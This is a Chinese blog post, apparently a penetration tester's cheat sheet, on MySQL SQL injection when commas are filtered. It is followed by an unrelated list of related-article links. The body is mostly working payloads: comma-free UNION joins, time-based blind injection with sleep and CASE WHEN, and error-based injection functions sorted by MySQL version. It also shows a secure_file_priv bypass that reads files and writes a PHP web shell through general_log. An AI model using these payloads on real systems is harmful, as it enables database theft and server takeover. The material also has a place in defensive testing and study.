Mysql 不能使用逗号的情况
不存在逗号的情况:
联合查询:
1.UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)
盲注:
1.select user,password from user where user='' and (sleep(length(user())=14));
select user,password from user where user='' and (sleep(ascii(mid(user()from(1)for(1)))=114));
这是第一种,直接执行sleep()函数,但是没办法控制延迟时间,固定为sleep(true) == sleep(1),当网络存在波动的时候,可能会误判。
2.select user,password from user where user='' and (select case when (length(user())=14) then sleep(5) else 0 end);
select user,password from user where user='' and (select case when (substring((select user()) from(1)for(1))='o') then sleep(5) else 0 end);
这是第二种,case when关键字,代替 if 语句。
substring((select user()),1,2) == substring((select user()) from(1)for(2)) :from(1)表示从第一个位置开始,for(2)表示截取两个字符。P.S: mid函数同理。
substring((select user()) from-10) :也可以这样写,表示截取最后10位字符。这可以配合regexp使用正则来使用:substring(user() from-10) regexp '.*host'
报错注入:
测试的数据库版本为:5.0.96-community,5.1.60-community,5.5.29,5.5.53,5.7.26
5.0.96-community下:
@@secure_file_priv 为 NULL,默认不影响读,写文件等操作。
只有 floor( 函数的报错语句可以使用,但是该语句必须要 逗号 。
5.1.60-community下:
@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。
1.extractValue,updateXML 这两个函数可以开始使用了,具体Mysql版本:>=5.1.5即可使用,但是也必须使用逗号。
注:该函数每次查询的数据只有32个字符,可以配合substr函数使用。
2.floor导致的报错可以使用。
3.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring()等函数都可以使用,并且不需要逗号。
4.exp函数导致的报错,不能使用。
5.5.29:
@@secure_file_priv 为 NULL,默认不影响 读,写文件等操作。
1.extractValue,updateXML,floor,都可以使用,但是需要逗号。
2..geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp() 都可以使用,不需要逗号。
5.5.53
@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。
绕过secure_file_priv 限制进行读写文件:
读文件:
CREATE TABLE `tmp` (`tmp` TEXT NOT NULL );
load data local infile 'D:/5529.txt' into table tmp; 成功将文件内容写入tmp表。
写文件:
set global general_log='on';
SET global general_log_file='D:/cmd.php';
SELECT '<?php assert($_POST["cmd"]);?>';
需要能执行多语句。
1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。
2.extractValue,updateXML,floor,都可以使用,但是需要逗号。
5.7.26
@@secure_file_priv 为 NULL,默认 影响 读,写文件等操作。
绕过secure_file_priv 限制进行读写文件,利用如上5.5.53。
1.geometrycollection()、multiponint()、polygon()、multipolygon()、linestring()、multilinestring(),exp()等关键字的报错语句全部失败。
2.extractValue,updateXML,都可以使用,但是需要逗号。
3.新增的报错语句:select ST_LatFromGeoHash(user());select ST_LongFromGeoHash(user());select ST_PointFromGeoHash(user(),1);select GTID_SUBSET(user(),1);
4.floor的报错语句,在5.7版本中与之前的有一些不一样。也就是使用 and 还是 or 连接符的结果不一样。也就是:
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) 必须要能执行。见图:
文章持续更新...
Mysql 不能使用逗号的情况的更多相关文章
- mysql如何查看索引使用情况以及优化 - guols0612
mysql中支持hash和btree索引.innodb和myisam只支持btree索引,而memory和heap存储引擎可以支持hash和btree索引 我们可以通过下面语句查询当前索引使用情况: ...
- MySQL删除数据几种情况以及是否释放磁盘空间【转】
MySQL删除数据几种情况以及是否释放磁盘空间: 1.drop table table_name 立刻释放磁盘空间 ,不管是 Innodb和MyISAM ; 2.truncate table tabl ...
- mysql字段按逗号,拆分并按条件查找
mysql字段按逗号,拆分并按条件查找 mysql 表结构 CREATE TABLE `subid` ( `id1` varchar(255) DEFAULT NULL, `id2` varchar( ...
- 逗号分割符--字段中含逗号等情况的解析方法Java实现
最近在处理文本字符串时,没一行数据都是按照逗号分割的,每个字段值一般情况是带有双引号的,但是有的字段值里面还包含逗号,甚至有的字段就没有双引号,这个分割起来就有点麻烦了 下面说一下我解决方法,如果谁有 ...
- 基于binlog来分析mysql的行记录修改情况(python脚本分析)
最近写完mysql flashback,突然发现还有有这种使用场景:有些情况下,可能会统计在某个时间段内,MySQL修改了多少数据量?发生了多少事务?主要是哪些表格发生变动?变动的数量是怎 ...
- MYSQL 索引类型、什么情况下用不上索引、什么情况下不推荐使用索引
mysql explain的使用: http://blog.csdn.net/kaka1121/article/details/53394426 索引类型 在数据库表中,对字段建立索引可以大大提高查询 ...
- Linux下MySQL在知道密码的情况下修改密码
1.在知道原密码的情况下,进入MySQL: mysql -u root -p 2.进入 mysql数据库,然后通过语句修改密码: 我的MySQL版本是:mysql Ver 14.14 Distrib ...
- mysql replace into 的使用情况
replace into的存在的几种情况 当表存在主键并且存在唯一键的时候 如果只是主键冲突 mysql> select * from auto; +----+---+------+------ ...
- mysql与redis在各种情况下性能对比
数据表结构 CREATE TABLE `jx_goods_test` ( `id` int(11) NOT NULL AUTO_INCREMENT, `goods_name` varchar(100) ...
随机推荐
- 【探索之路】机器人篇(4)-根据3D文件来优化自己的机器人模型
此章节不是必须做的!!!! 因为我已经用solidworks画了机器人的3D模型,那我就直接导入已经画好的三维模型. 如果大家没有画也是可以直接使用上一章节我们已经构建的机器人模型.我这里只是一个对显 ...
- 图解 Java 数据结构
图解Java数据结构: 一.链表 Java ListNode https://www.cnblogs.com/easyidea/p/13371863.html 二.栈 ...
- flink集群模式安装配置
一.手动下载安装包 wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.6.1/flink-1.6.1-bin-hadoop27 ...
- 使用 SOS 对 Linux 中运行的 .NET Core 进行问题诊断
目录 说明 准备一个方便的学习环境 2.x 配置内容 3.x 配置内容 工具介绍 lldb sos plugin 1. attach 到进程上进行调试 2. 分析core dump文件 SOS 案例分 ...
- Yaml spring boot 二维数组写法
Yaml channel: info: - channel-ip: 192.168.1.40 channel-no: 5182001001 - channel-ip: 192.168.1.10 cha ...
- 温故而知新--day1
温故而知新--day1 变量类型 变量是计算机存储数据的内存空间,由于计算机可以处理不同的数据,不同的数据就要定义不同的数据类型.python的数据类型很多,还可以自定义数据类型,常用的一般数据类型有 ...
- mysql 连接url中需要添加useUnicode=true&characterEncoding=UTF-8
下面是示例: 数据库中Username是张三 在数据库配置时没有配置编码 useUnicode=true&characterEncoding=UTF-8 导致期望与实际不同 配置useUni ...
- 了解一下ajax
AJAX:是一种无需重新加载页面的情况下能够更新部分(局部更新)网页的技术. 1. 概念:ASychronous JavaScript And XML 异步的JavaScript和XML 首先了解一下 ...
- SpringBoot2.+restful风格请求方式设置以及表单中日期格式设置
1).SpringBoot在自动配置很多组件的时候,先看容器中有没有用户自己配置的(@Bean.@Component)如果有就用用户配置的,如果没有,才自动配置:如果有些组件可以有多个(ViewR ...
- 【Docker】在Linux系统中安装Docker虚拟机、启动停止重启查看Docker命令
安装Docker 文章目录 安装Docker Docker虚拟机架构 在Linux系统中安装Docker虚拟机 管理Docker虚拟机 参考资料 Docker虚拟机架构 Docker创建的所有虚拟实例 ...